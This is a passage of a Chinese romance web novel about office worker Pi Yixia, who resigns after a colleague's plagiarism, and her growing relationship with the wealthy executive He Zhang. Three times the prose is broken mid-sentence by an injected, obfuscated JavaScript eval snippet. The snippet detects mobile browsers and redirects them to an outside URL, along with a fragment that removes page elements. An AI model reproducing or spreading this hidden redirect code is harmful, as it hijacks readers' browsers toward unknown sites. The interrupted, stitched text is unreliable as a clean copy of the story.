回程的车上,贺章一手控着方向盘,另一手与她十指交扣。温热的气流在蚌壳一样闭合的掌心里,渐渐酝酿出细汗,那感觉并不算舒适,可他却没有松开。 就这么握了一路。 下车时,贺章再次提醒:“明天,带衣服过来。” 皮一夏“哦”了一声就要下车,刚推开车门,又被他扯住了手腕。她回身,不解地看着他。 “这回不许再忘了。”贺章沉声道。 “我知道了。”她抿了抿唇,“一定不忘。” 但他仍然没有放手。 “还有。” 她讶然抬眼,等他接下来的话。 “不许不开心。” 他的神情淡漠,语气冷得仿佛在下命令。所以,他看出了她的不开心,今晚也有意在迁就她吗?可是,谁会把一句好听的话,说得这么硬邦邦呢?只有Ethan先生了。 “我知道了……”她小声回。 尾音拖得长,听着像撒娇,贺章嘴角挑了挑,脸色柔和不少,谁知下一瞬,她忽然凑过来,在他脸上啄了一下,像被蝴蝶翅膀扇到,贺章倏地顿住了身形。 等他回过神,她已经摆脱他的手,迅速跳下车,果断甩上了车门,像逃跑的兔子一样,撞进了漆黑的夜色之中。 周二刚上班,皮一夏就被Justin约去了三会。 “我要走了。”Justin开门见山。 皮一夏不算很意外:“这么说,你承认帮Daisy剽窃我的竞聘文件了?” Justin脸色有点难堪:“不管怎么说,我们共事一场,你对我也算不薄,所以,走之前我想跟你说声抱歉。” “突然良心发现了?”皮一夏嘲讽地扯了扯嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661231|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“既然我待你不薄,你为什么要帮Daisy害我?” Justin沉默了片刻:“她是个有野心的女人,但能力总差着一口气,我……想帮帮她。” 皮一夏好一会儿才反应过来:“你喜欢Daisy?!” Justin尴尬地转开了脸:“你也不用嘲讽我。原本事情不会到这一步,如果我这次晋升成功了,至少在职级上我能配得上她,我会陪她慢慢熬……但很不幸,我失败了,所以至少要帮她上去。” 皮一夏干巴巴地说了句:“好伟大的骑士。” 会议室里空气凝固下来,过了一会儿,皮一夏问:“赵总怎么跟你说的?” “他答应,如果我主动请辞,会赔偿N/2。” 皮一夏眼含讥诮:“偷东西的人风光上位,背叛者和帮凶还能得到N/2……挺好笑的。”顿了顿,她决定结束这次谈话,“你跟了我几年,没晋升成功,也许我在无意中也对不起你了,现在咱们两清了,你做好工作交接,尽快走吧。” 她说完站起身,抬脚就要走,却被Justin喊住了,他有点羞愧地低着头说:“Daisy上任后,你的日子应该不会好过,不如趁这个机会换个工作吧。” “多谢关心,不过不劳费心。”皮一夏冷冷道。 “也是。”Justin自嘲一笑,“以我对你的了解,不需要我提醒,你也会走的。你总说我傲慢,其实你才是最傲慢的人。你跟Daisy竞争,你想用正大光明的手段,但在职场上,这样的人总是吃亏的。比如今天,你明明可以录音我们的聊天,来威胁公司给你公道,但你看,你连手机都没带进来。你不屑如此,公司让你寒心,你就不会再留了。” 皮一夏听完这番话,回身认真看向Justin,到此时,终于对他有几分刮目相看了。 “你除了专业能力,倒也不是一无是处。”皮一夏垂眸笑了笑,“祝你前途似锦,永远不吃亏。” 说完这句话,她就离开了会议室。 过了一会儿,Justin也从会议室出来了。两人前后脚,脸色都不好看。张宝静察觉气氛不对,微信上私聊皮一夏。 大宝小宝贝:「皮皮姐,Justin刚说跟我交接工作,他是被开了吗?」 皮一夏回了句:「他辞职了。」 大宝小宝贝:「那你的事,最后要怎么解决啊?」 皮一夏盯着这句问话,沉默了许久,最后关闭了聊天界面,开始处理工作。 下班前,她推开了Vivian办公室的门,将一封辞职申请放到了她的桌上。 “下周一是您的lastday,在此之前,还要麻烦您处理最后一件事。” Vivian扫了眼桌上的A4纸,蹙眉说:“皮皮,你冷静点。” “我冷静了一天一夜了。要是不冷静,我昨天下班时,就该提交辞职申请。”皮一夏顿了顿,续道,“感谢您这些年的看重和栽培,不用挽留了,要说的道理,我全都懂。工作五年,我跟公司之间的龃龉不止一次,但这一次,我不打算看开了。” 皮一夏说完,Vivian静了许久,最后还是摇了摇头。 “皮皮,我给你两天假期,好好休息一下,如果两天后,你还是这么坚决,我会处理这封申请。” 就这样,皮一夏突然有了两天假期,然而她却没想好,要怎么安排这两天。 出远门,时间不够。在家宅着,又太浪费了。不如……看看有没有兼职,赚点外快好了。 扒拉着微信找商单客户时,贺章的头像跃入眼帘,她抿了抿唇。 昨晚又怼他了。 因为提了离职,心情不好,她想早点回家睡觉,但贺章说:「做人要守信。」 她回了个撇嘴的表情:「我很守信呀!周一我们见了四小时,周二空档一天很合理。」 之前在温泉度假村,他们少接触了25分钟,他都要计较,那多接触了两小时,按道理也要计较的,总不能少补多不退吧! 可是贺章又说:「每次至少两小时,你知道“至少”两个字什么意思?」 她气哼哼回了一句:「不知道不知道」 之后贺章打电话来,她还给挂了……现在想想,稍稍有点惊悚了。 犹豫片刻,她还是发了微信过去:「你还在生气吗?」 上午十点,华森集团A座顶层。 贺章刚结束一场高管会谈,林献在一旁说:“祁总对于接手大文娱有点抵触。” “不要紧。”贺章起身,回到办公桌后坐下,“给他时间熟悉情况,考虑清楚。” 林献点了点头:“也是。祁总的业务能力在集团有口皆碑,只是作为空降兵,又不掺和内斗,这么些年一直没得到重用。现在突然给他这么一副担子,难免紧张。但是祁总分管影业这块,跟文娱公司本就有交叉,从业务层面他也是最合适的,只要他下定决心,敢往上走一步,利用这段时间熟悉情况,以后等褚先生脱离出来,正好上任接盘。” “嗯。” 正说着,贺章的手机突然震动,他拿起来看了看,嘴角不由抿起一丝笑意。 林献立刻懂了。 “还有件事要向您汇报,和皮小姐有关。” 他主动提了皮小姐,听不听,老板自己选择,不能再怪他工作时间讲私事,但这一次,也不完全算私事。 “说。”贺章淡淡地吐了一个字。 林献心里暗笑,转念又忍不住叹气:“最新消息,昨天下班前,皮小姐递交了辞职申请,Vivian给了她两天假期。” 34. 买单 贺章顿时拧眉。 很显然,这位老板并不知情……林献心想,您到底是怎么追姑娘的,这么大事都不上心,明明周一下班前,褚先生特意来打过报告了。 当时褚彦是这么说的:“贺章,你的小宝贝疑似被欺负了。” 据说是Vivian越过赵衡,直接敲开了褚先生办公室的门,说了皮一夏和Daisy的竞聘风波。Ethan听完沉吟片刻,说了一句知道了。 知道了……听听这叫这么回答。既不帮皮一夏伸张正义,现在连人家打了辞职申请也不知道,要他是女生,也不会喜欢这款男人的,太冷漠! 林献腹诽得热火朝天,冷不防听对面人说了句:“你去提醒褚彦一声,让他好好看财务报表。” 嗯?不是在说皮小姐吗,怎么话题换到了褚先生? 林献愣了一下,心思立刻转回正经事上:“褚先生应该还会拿之前的话搪塞,说您让他来当二世祖的。” “这点活都不干,开着劳斯莱斯不心虚?!”贺章沉着脸,“你就这么回。” “好的。” 林献离开了,贺章拿起手机,点进皮一夏的微信聊天窗口,回了三个字:「你说呢?」 他等了一会儿,没收到回复,直接打电话过去,响了整整四声才接起来。 “喂……Ethan。”弱声弱气的。 很好,总算还有点怕心。 贺章抿唇笑了笑,一开口,语气却带着股凉意。 “在哪?” “我请假了,在家。” “过来陪我吃午饭。” 贺章决定给她一个弥补的机会,谁知说完之后对面没应声,静了几秒,听见一句:“可是我今天有安排了。下午有个临时的模特约拍,现在就要出门了。” 贺章顿时气堵。 “皮一夏,你掉钱眼儿里了?!” “那闲着也是闲着嘛!”皮一夏也怨念。 贺章捏着额角冷静了片刻:“几点拍完?” “应该是五点半。” “知道了。” 贺章说完就挂了电话。皮一夏盯着手机,莫名其妙的。 这通电话的来意是什么?就是为了让她过去陪他吃饭?所以他已经不生气了吧……哎,老板的心思好难猜。还是先打工吧。 今天的拍摄地是三环边上的一个商业园区,衣服套数不多,但要换三套妆发,比较耗时,原本以为五点半能结束,结果收工时一看,已经六点半了。 皮一夏往园区大门走的路上,接到了皮一辰的电话,说是兼职的工资到账了,给她买了个电暖气。 “你收到工资就去吃顿大餐,跟同学庆祝,干嘛要买电暖气呀?我那又不是没有暖气。”皮一夏又窝心又好笑。 皮一辰说:“你那房子的暖气不是不热嘛!楼层那么高,水压都上不去……哎呀反正你别管了,我周末给你送过去,教你怎么用。” “行吧行吧……”皮一夏也不打击孩子孝心,“还有事吗?” “没了……不对,有。姐,我前两天遇见成涛了,就是镇长那儿子,你还记得吗?” 皮一夏忍不住皱眉:“怎么遇上他的?他欺负你了吗?” “我又不是小孩,还能任人欺负吗。他现在好像弄了个小物流公司,跟我兼职的那家科技公司有合作,就偶然碰上了。他打听你的电话来着,我没给。” “没给就对了,少跟他打交道。” “嗯。不过他现在看着还挺正派的,穿得西装革履,说话也不像以前那么流里流气,有点做生意那味儿了。但我还是不喜欢他,反正你知道这事就行,他要是追你,你可别答应啊,我不同意!” “臭小子!”皮一夏笑骂一句,“我用你操心。得了你快别墨迹了,没事我挂了啊……” “哦,挂吧,拜拜姐。” 皮一夏收了线,走出园区大门,就听见一声汽车喇叭鸣笛,她转头,看见一辆黑色吉普车,停在大门东侧的马路对面。 Ethan? 皮一夏不自觉笑起来,小跑到车门边,贺章降下车窗看过来,她笑吟吟问:“你怎么来了?” “上车。” “哦,好。”皮一夏快步绕过车头,拉开副驾车门坐进去,又问,“你怎么来了?是来接我吗?” “不然呢?”贺章冷着脸。 皮一夏心里泛起丝丝甜意,抿唇笑着绑好安全带:“为什么呢?” “什么为什么?” “为什么来接我啊?怪不得你刚才微信问我在哪拍。” 贺章发动了车子,淡淡道:“下班早,没事干。” “哼……就不能说是特意来接我的吗。”她怨念地瞪他。 贺章嘴角染上笑意:“饿不饿?” 话音刚落,皮一夏的五脏庙开始奏乐。 “……饿了。”好尴尬。 贺章只作不闻,过了会儿,伸出右手,放在座位中间的搁板上,掌心朝上,勾了勾手指。 找她要什么?皮一夏以眼神询问。贺章偏头看她,略显不耐,以眼神作答,拿过来。 她试探着,缓缓伸出左手,放到他的掌心,贺章自然地握住,接着将她整个拳头都包在手里。 “……” 他现在,不热衷接吻,喜欢上握手了。 皮一夏转过头,对着车窗偷偷笑起来。 “昨天的两个小时,记着点,延后补上。” “……”她愕然回头,“你身为一个大老板,怎么这么斤斤计较呢!” 贺章慢条斯理:“你应该称之为,严谨认真。” “哼!” 她试图摆脱他的手,挣了两下,没挣开,几乎是纹丝不动,不愧是练过格斗术的! “你为什么抵触补时长?”贺章不悦皱眉,“多些相处的时间培养默契不好?” 皮一夏鼓了鼓腮:“也不是不好。但天天补时长,我总感觉自己一直在还债,有压力嘛!” 贺章没说话,皮一夏打算说服一下:“要不,我们都自在点?有时间就见面,没时间就改天见面,你觉得呢?” 贺章面无表情:“我没有压力。你有,就压着吧。” “……” 皮一夏不想理他,也不想让他握手了,一气之下咬了他,换来他含着警告的一瞥,却还是没松开,一直握到了餐厅门口。 离拍摄园区不远的一家西餐厅,氛围很好,贺章提前订了位,服务生直接把他们领到了二层靠窗的一个半开放包间。 皮一夏一进去就暗暗咋舌。瞧瞧这椅子上的皮具质感,再看看头顶那巨大的水晶吊灯……她仿佛看见一沓子毛爷爷从钱包里飞走了。 点完了餐,贺章边往两人杯中添水,边说:“别跟我提AA。” 真是见鬼了。他怎么知道她在想什么? 贺章盯着她错愕的小脸,一本正经道:“我钱多的花不完,需要享受买单的快感。” “……”好浮夸,一点也不像他说话的风格。 她眼珠一转说:“没打算AA呀。我刚刚在想,要好好宰你一顿呢!” 贺章没有拆穿她,等她喝过几口水,才缓缓开口:“说吧。为什么辞职?” 皮一夏有点惊讶。 想过他会知道,但没想过这么快,更没想到,他会突然问起这件事。但是怎么说呢,她不太想提。 她双手捧着脸,商量的口吻说:“可以不聊这件事吗?” “为什么不聊?” 当然因为不是什么光彩的事啊。被对手搞得像落败的公鸡,换谁谁想提呢。 “你要劝我不辞职吗?”她反问。 “你听劝吗?” “不听。”她干脆道。 贺章登时沉了脸:“你倒是实诚。” “我这个人,最大的优点就是实诚。”她无辜地眨了眨眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原来是搭讪的。 皮一夏眼睛眨巴眨巴:“好呀。” 明亮的水晶灯下,柔和的暖光里,女孩手肘杵在桌上,双手捧着脸颊,笑眯眯盯着眼前的年轻男人,手机放在餐桌边缘,亮起的屏幕上是一个二维码名片,男人微微倾身,正在扫码添加微信。 贺章从收银台回来,看见的就是这样一幕。 他淡着脸走到她身侧,屈指扣了两下桌面,正在加微信的两人同时转头看向他。 “吃完了就走吧。”贺章说。 皮一夏“哦”了一声,收起手机,和那男人说:“不好意思哦,我先走了。” 男人只一瞬的愣怔,便又笑起来,礼貌朝她点头:“再见。” 贺章眼风都没扫他,转身就往楼梯方向走,步子迈得依旧笃定,只是相比平时,似乎快了不少。 刚坐进车里,皮一夏就拿起手机,手指在屏幕上不停打字。 贺章看了她好几眼,她嘴角上扬,一副聊得很开心的表情,完全不抬头。 贺章的神色从一开始的淡漠,逐渐变为冷硬,到停车时,可以说是面色铁青了。车速在加快,不断提升的推背感终于让皮一夏察觉到了异样。 她先是扫了眼窗外,惊呼:“欸?怎么到这来了?”继而将视线转回贺章脸上,四目相对的一刹那,皮一夏莫名感觉后颈发凉。 ……情况不妙啊。 “怎么了?”她小心地问。 还问怎么了。 “聊得很开心?”他冷冷问。 皮一夏怔怔点头:“还行。” “和谁?”声音已经结冰了。 “朋友……”她小心地说完,一秒后又补充,“苏苏。” 35. 留宿 “是吗。” 外面天已经黑了,车内光线昏暗,皮一夏看不清贺章的眼神,仅从这两个字一重一轻的语气判断,他似乎不相信。可是这有什么不相信的? 皮一夏举起手机,屏幕朝外,给他看聊天界面。 “你看,苏苏。” 贺章下意识瞟了眼,很快又收回视线。 他没有窥探隐私的爱好。 虽然并没有看清,但心里不由自主信了几分,身上散发的冷冽气息稍有收敛。 皮一夏奇怪道:“你以为是谁?” 贺章眉间划过一丝不快,漆黑的眸子微微眯起,略带审视地打量她:“不是你的新猎物?” “什么新猎……”皮一夏声音一顿,眼睛骤然睁大,越睁越大,“你说刚刚餐厅里那个男人?” 贺章不悦地哼了一声,眼神又开始凝结:“承认了?” “什么呀!”皮一夏失笑,“我没有加他微信!” “撒谎也上点心。”还是当着他面加的。 “谁撒谎了?我真的没有加!”皮一夏有点气恼,“我给的是苏苏另一个微信号,也是她画廊的客服号,平时是工作室的小姑娘打理。” 有时遇见搭讪的人,她不想加,就会给那个微信号,权当帮画廊引流了。刚刚跟苏苏也是在聊这事。 贺章不了解她这习惯,误会她给了个人微信,也能理解,不过……他为什么要生气啊? 皮一夏忽然屏住了呼吸,心跳的频率有点快,难道…… 她紧紧盯着贺章,小心翼翼地确认:“你刚刚,是在吃醋吗?” 方向盘上的手蓦地一僵,冷硬的面上浮起不自然的神色,贺章偏头朝外看了眼,再转回时已恢复平静。 “你是在吃醋吗?” 皮一夏继续追问,声音里带了几分雀跃,语气同嘴角一起上扬,眼睛亮亮地盯着他。 吉普车在车位上挺稳,贺章面无表情,一本正经,语气平平道:“我的人生,没有吃醋这种东西。” “……”她眼里的光缓缓暗下来,嘴巴嘟起,“那你干嘛问,我在跟谁聊天?” 话音落,她骤然脱口惊呼,反应过来时,已经坐到了贺章腿上,心像突然下坠般失重。 “你干嘛呀?!” 皮一夏回过神,恨恨拍了他一巴掌。 贺章将她箍在怀里,目光在栗色的眼睛和小巧的红唇之间来回游弋。 “我之前说过,在关系存续期间,你不能找其他人。”他沉声说。是提醒,是警告,也是试探,“否则……” “否则怎样!”皮一夏仰头,气冲冲怼道。 贺章呼吸渐渐不稳,胸膛起伏越来越明显,盯着她的目光像一头凶兽,冷漠中掺杂着隐隐的焦躁。 “你最好不知道……” 他低声说了这样一句,两指果断挟起她下巴,吻了上去。 他现在,只想狠狠惩罚她! 惩罚她对着其他男人笑得那么好看。 惩罚她轻易搅乱他引以为傲的克制和冷静。 惩罚她招惹男人后又轻易抛弃,作案娴熟,前科累累,乐此不疲,仿佛永远没有改过自新的一天! “唔、停停……” 皮一夏心跳得快疯了。她仿佛变成了他利爪下的一只兔子或羔羊,毫无反抗之力,任他撕扯后吞如腹中。身子在颤抖,她慌乱地拍打、推拒,一点用处也没有。 扣在脑后的大手像一堵铜墙铁壁,唇舌都在他口中,被反复舔吮,甚至撕咬。 她呜咽着喊疼,贺章的动作停顿一瞬,她趁机逃脱,一把搂住他脖子,将脸紧紧贴在他颈后。 “你疯了吗?!”皮一夏带着哭腔嚷,“干嘛亲的这么吓人!” 她的嘴巴麻木又滚烫,大概已经肿了,或者变成香肠了。 贺章埋首在她肩窝里,急促喘息着,平复了几秒,一手托着她后脑勺,试图将她脸掰回来。 皮一夏惊魂未定,不可能再让他有机可乘,手臂死死搂着他脖子。 “不亲了。”他低声说,“让我看看。” 她不敢信他,语声迟疑:“……真的?” “真的。”手在她脑后抚了两下。 皮一夏缓缓松开手臂,身体退开一些,贺章两手捧起她的脸,漆黑的眼瞳凝视她,目光移到了唇上,她心里一颤,警惕地往后撤。 “别动。”他声音低沉,眉峰压了压。 她立时僵着身子不敢动了:“你别、别再来了……” 他低哼一声,眼神落在唇角的一点破皮,细细看了片刻,抬眼:“疼吗?” “当然了!”皮一夏生气地推开他。 贺章感觉胸腔掠过一丝酸胀感,重新将她揽回怀里,动作轻柔,甚至有几分小心翼翼。 “道歉!”皮一夏怨念道。 贺章低眼,沉默不语。 “你的人生,不会也没有道歉这种东西吧?!” 他脸色有点尴尬,静了两秒,忽然微微低头,下一瞬,温热的唇贴在她额间。 嘴似乎动了动。她看不见,也没听见声音,于是一把推开他,气恼地盯着他。 “你别再气我。”贺章说。 “哈!还是我的错了?!” 皮一夏更生气了,脚尖一点就要从他腿上下来,贺章快她一步,将她揽抱回去。 “你道不道歉!”她追问。 贺章避开她视线,尴尬地清了清嗓子:“再不下车,欢乐谷就要关门了。” 她神色一怔,下意识看向窗外,果然被转移了注意力。 “为什么要来欢乐谷?” “你不想玩?” “我想啊……我还没来玩过夜场呢!”她眼睛亮亮的,“夜间营业到几点啊?” “晚十点。” 皮一夏拿起手机点亮屏幕,一看时间,已经7:51了! “啊啊啊啊啊……快走快走,就剩两个小时了!” 皮一夏匆匆下车,抬腿就跑,跑了两步猛地顿住,回身看贺章。 他走得不疾不徐,两手插在裤子口袋里,姿态很闲适,身上穿的却是商务西装和皮鞋,是下了班没回家,直接来接她了吗? 想起他刚才在车上的行径,确实可恨!但……似乎也不是不能原谅。 “你好歹换件衣服再来……跟这里的氛围一点也不搭!”她小声吐槽。 贺章走过来,上下打量着她。 她今天穿的是浅蓝色毛衣开衫,搭粉色阔腿牛仔裤,裤子口袋旁还挂着个香蕉人布偶,俏皮的麻花辫垂在胸前,辫尾还扎着一朵黄色小花……像个青春洋溢的女大学生。 “你搭就行了。” 他随口说了句,自然地牵起她的手,往游乐园入口走去。 夜间的游乐场和白天看起来大不一样,满眼都是五彩斑斓的灯光,相比平时多了几分奇幻感,皮一夏一进园区就开始叫唤,小跑着去排队刷项目。 大都是在半空中旋转、俯冲的刺激项目,她在游乐设备上放肆地大笑和尖叫,贺章陪在旁边,几乎不出声。 两个小时转瞬而逝,贺章拎着一个手提袋,里面装的是她随手买的发光发夹、玩偶、手链等各种小玩意。 最后一个大项目,过山车当然是要玩的,皮一夏兴致勃勃赶到时,正赶上夜场最后一波,人不多,没有排队就直接上去了。 滑轮车爬向高空,又迅疾俯冲向下,迎面而来的风呼啸而过,尖叫声此起彼伏,有一段头朝下完全倒坐,失控的感觉令她心跳骤停。 从设备上下来时,嘴是麻的、腿是软的。一旁的贺章扶着她,脸色很平静,好像刚坐了趟飞机似的。 皮一夏啧啧称奇:“你好厉害,坐过多少次才练出来的呀?” 贺章笑而不语。 往园区外走时,顺便围观了炫彩灯光秀和街头表演,皮一夏笑着跟贺章说话,结果一转头,身边没人了。 她茫然四顾,忽然看见他站在不远处的大树下,一手扶着树干,腰背微弓,似乎正在呕吐…… 皮一夏满脸错愕,快步跑到他身侧:“你……不会是因为过山车吧?我还以为你不害怕呢,从头到尾都没听见你喊……” 贺章只是干呕了几声,什么也没吐出来,直起身,拧开瓶盖喝了口水,感觉稍稍好了一点。 他转身道:“走吧,去看表演。”从头到尾没和她对视。 皮一夏猛冲过去抱住他手臂,探身歪头,一脸促狭道:“你是不是从来没坐过过山车?是不是!居然吓到呕吐……” 贺章有点尴尬,略偏了偏脸,躲开她的注视,接着一手扣在她头顶,轻轻一拧,将她的视线调转向前方。 “还看不看了。”轻斥的语气。 皮一夏抿了抿唇:“不看了,玩够了,我要回家!”说完抱着他手臂就往出口方向走。 回去的路上,贺章一路没开口,不知道是不是还在难受,皮一夏又好笑又不敢笑,时不时拧开矿泉水瓶盖,递到嘴边,请他喝水。 “Ethan,谢谢你哦。我今天很开心。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Oliver不会说话,就用叫声回应,偶尔扒着她裤脚挠一下。 “今天在游乐园,他其实也没有好好玩,一会儿发微信,一会儿接电话,张嘴就是几十几百个亿,闭嘴就定人去留,肃着张脸,好像一刻也不能放松……哎,当老板也不容易。” Oliver“汪”了一声。 皮一夏抿嘴笑起:“你也心疼他?那就多陪陪他,不要老在我的屋子睡觉了,也不要不好好吃饭,知道吗?哎……不过还是不要心疼资本家了,我都快失业了,他至少还有钱,你说呢?” 絮絮叨叨边聊天边干活,先大致把花浇了一遍,剩下的清理工作打算明天再做。 晚上十二点,皮一夏洗漱完躺在床上,忽然听见敲门声,“扣扣”两下。 “谁呀?” “还能有谁?”门外传来熟悉的声音。 皮一夏穿上拖鞋,跑过去开门,嘴里念叨着:“我哪知道你会突然过来……”这么大个房子,她一个人住,还是有点害怕的。 贺章穿着深蓝色睡衣睡裤,站在门外,头发还潮着,大概也是刚洗完澡。 “你怎么来了?”她有点尴尬,看了他一眼,就低下了头。 贺章牵起她一只手,走进房间,顺手关上了门。 Oliver被关到了门外。 贺章将她按坐到床上,手里变出一管药膏。 “这是什么?” “伤药。” 贺章拧开盖子,挤出白色药膏,一手掰她下巴固定住脸,另一手在她嘴角轻轻点涂。 皮一夏忍不住抿了抿唇:“这点伤……” “别动。” “……哦。” 小小的一点破皮,很快就抹完了,按在她嘴角的手指却没挪开,过了会儿,贺章抬手把她揽到怀里抱住了。 皮一夏环着他的腰,伏在他胸前,棉质的睡衣贴着脸颊的皮肤,有种趴伏在云团上的舒适,鼻端是沐浴露清香的气味,她感觉到一种深深的依恋。 贺章轻声说:“睡觉吧。” 她虽然心里有点不舍,还是缓缓放开了他。 以为他要走了,然而下一瞬,贺章忽然将她抱起来,放在床里侧,接着脱掉鞋子上床躺下,伸臂将她揽到了怀里。 “……你要在这里睡吗?” 36. 不跑 贺章“嗯”了一声:“可以吗?” 她忍不住咬唇,快乐的情绪从眼睛里溢出来。没听见她的回应,贺章不由垂眼,轻抬起她下巴,又问了一次。 “可以吗?” 她竟然不好意思和他对视,明明当初提出做床伴时很大胆,现在这又是扭捏什么?脸往他怀里偏了偏,皮一夏默默点头。 贺章笑了,眼皮的褶皱陷在深邃的眉弓下,像刚学会笑一样,脸上的愉悦之色纯粹而不加掩饰。 他掀开被子,盖在两人身上,偏头亲了亲她额角,拇指在她脸颊一下一下摩挲。 皮一夏第二次真正意义上躺在他怀里,第一次在巴塞罗那的酒店。 男女之间发生过关系之后,似乎天然就会产生亲近感,她那时一点也不怕他,就像合作干了同一件坏事的人,相互间抓着对方的把柄,因而面对彼此时十分坦然。 然而现在,他们变得越来越熟悉,行为举止像一对真正的情侣,她却忍不住有点害怕。 担心自己睡觉踢被子,打呼噜、磨牙,甚至梦游打人,刚睡醒时脸很丑……内心诸多想法翻腾不休,甚至忍不住萌生了退意。 “要不还是……”她到底不舍得说出后半句话。 贺章原本闭着的眼睛又睁开了:“你很勉强?” “不是!”她忙摇头,“我就是,怕你睡不好嘛!我的睡相可能很一般。” 他忍不住低笑一声:“没关系。吵醒我,了不得把你扔到客厅沙发去。” “……”真是多余担心他! 皮一夏气呼呼翻了个身,背靠着他胸膛。 贺章忽向下探手,勾起她两个膝弯往上一抬,将她整个人折在怀里,捆了个结实。 “这样就动不了了。” “……” 贺章下巴搁在她头顶,蹭了蹭:“睡吧。” 卧室的智能声控灯应声而灭,约么十分钟后,两人的呼吸渐渐平稳。 贺章忽然说:“之前交换过一个问题,现在我要用掉。” 嗯?交换过什么问题?皮一夏皱眉回想……哦,是有一次,他在酒吧被拍到,她对他身旁的女人心生好奇,被他胁迫着交换一个问题。 多久了,他还记得这点事! 皮一夏没出声。 贺章忽然在被子里拍了拍她。 “别装睡。” 睡裤由于被子的摩擦往上褶了一截,他这一拍,直接拍到了她光裸的小腿上,发出闷闷的啪声。 皮一夏脸红了,抿紧嘴唇,避免发出任何声音。 贺章不肯放过她,大掌又从睡衣下摆钻进去,摸到了肚子上。 她痒得抖了一下,忙伸手按停了他的动作:“你问,你问……” 贺章得逞地哼笑一声,缓缓道:“在巴塞罗那……你是喜欢的。” 中间的停顿,略过了一些话,她知道他想说什么,于是没有发问,静等他接下来的问题。 但贺章没有接着说,仿佛在等什么,她迷茫的一瞬,他的手又向上游弋起来。 “喜欢喜欢!”她立刻说。 好羞耻。 贺章嘴角牵了一下,续道:“下次做完,还跑不跑?” 她以为他在说,上一次半夜偷偷跑掉的事,小声说:“不跑了。” 上次也不是故意要偷跑的,被同事喊走了嘛!而且,现在是在中国,还能往哪里跑呢?何况……她这么喜欢他,怎么舍得离开呢? 贺章得到了想要的答案,心里是满意的,但鉴于她前科累累,以防万一还是警告道:“再敢用完就扔,看我怎么收拾你!” 用完就扔……这话太奇怪了。漆黑的夜色里,皮一夏整张脸都烧了起来。 贺章没听见她回应,忍不住捏了捏她肚子,以示催促。皮一夏哆嗦着按他手。 “我知道了……” “嗯。睡吧。” 第二天早上,贺章起床洗漱上班,临走前狠狠亲了皮一夏。 实在是看她睡得那么香,而他还要去公司工作,心生不平。他把人作弄得气喘吁吁,睡意一丝儿也不剩,方心满意足地扬长而去。 皮一夏恨恨地捶着被子,在心里骂了贺章一万句。 起床收拾好自己,简单弄了点早餐,把花园彻底打理一遍后,已经快到中午了,她离开贺章家,去赴一个猎头的午餐之约。 猎头叫赵星岚,是两年前在集团招聘会上认识的,一直有联系,这次她要离职,第一时间联系了赵星岚,请他帮忙留意工作机会。 赵星岚约她今天出来,去簋街的胡大饭馆吃麻辣小龙虾。赶着饭点到胡大,两人一见面省去寒暄,直接说正事。 皮一夏在华森工作了五年,能力和经验都不差,这样的人才放到市场上,不说抢手,起码不会无人问津。 赵星岚帮她筛选了三个合适的机会,其中两个和她现在的工作类似,算是竞对企业,公司规模和业务几乎相当,谈得好的话,薪水能高出三分之一。还有一个虽然也是宣传口,但base在武汉,看她愿不愿意换城市。 皮一夏先pass掉了武汉的选项,剩下两个机会,想都聊聊看。 赵星岚没有异议,很快敲定了她这头方便约见的时间,说要跟对方联系一下,看看哪天合适,再告诉她。 正事说完,两人开始大快朵颐。 皮一夏许久没吃小龙虾了,鲜香麻辣入喉,瞬间感觉灵魂都升天了。两人谁也不扭捏,风卷残云般,扫荡了满满一盆,外加一份牛蛙和两个菜。 快吃完时,赵星岚接了个电话,说有急事,要先走一步。皮一夏也不挽留,自己接着干饭。正剥虾剥得额头冒汗时,忽然听见一个熟悉的声音。 “好吃吗?” 她惊怔抬头,红唇微张,一时间说不出话来。 贺章在她对面的椅子里坦然落座,一手托起下巴,饶有兴趣地盯着她:“见猎头?” “你在说什么?”她一脸无辜地问。 在职期间见猎头,被集团老板逮个正着这件事,多少是有点尴尬的。 “见得怎么样?” “你怎么知道我在这?” 两人见面一共说了四句话,全是疑问句,谁也没回对方的问题。 很好。 贺章挑了挑眉,目光落在对面不染而朱的小嘴上,是小龙虾辣红的。 皮一夏尴尬地抿了抿唇,抽出一张餐巾纸,捂着嘴说:“你要吃吗?”转念一想,只剩个盘子底了,总不好让他吃剩的,又道,“我再点一份,你吃午饭了吗?” 说着就要招手叫服务员,被贺章阻止了。 “不吃了。找你有正事。” “什么正事?” 皮一夏看他一脸正经,心里忍不住发慌,默默摘掉一次性薄膜手套,坐得端正乖巧。 贺章慢条斯理地倒了杯水,给她递过去。 “谢谢。” 她端起杯子抿了一口,听见贺章说:“请你去集团做CEO特别助理。”瞬间惊得呛咳起来。 贺章皱眉,抽了一张纸巾递给她:“稳当点。” 皮一夏咳得脸色涨红,接过纸擦了擦手和嘴,心说到底谁不稳当,非挑她喝水的时候说这么惊悚的话,有林献做助理还不够吗? 特别助理又是干嘛的?总不会是24小时贴身照顾老板饮食起居,偶尔还要负责接吻暖床那种吧……这种肮脏念头闪现的瞬间,她脖子都红了。 “你的特别助理要做什么?为什么找我啊?” 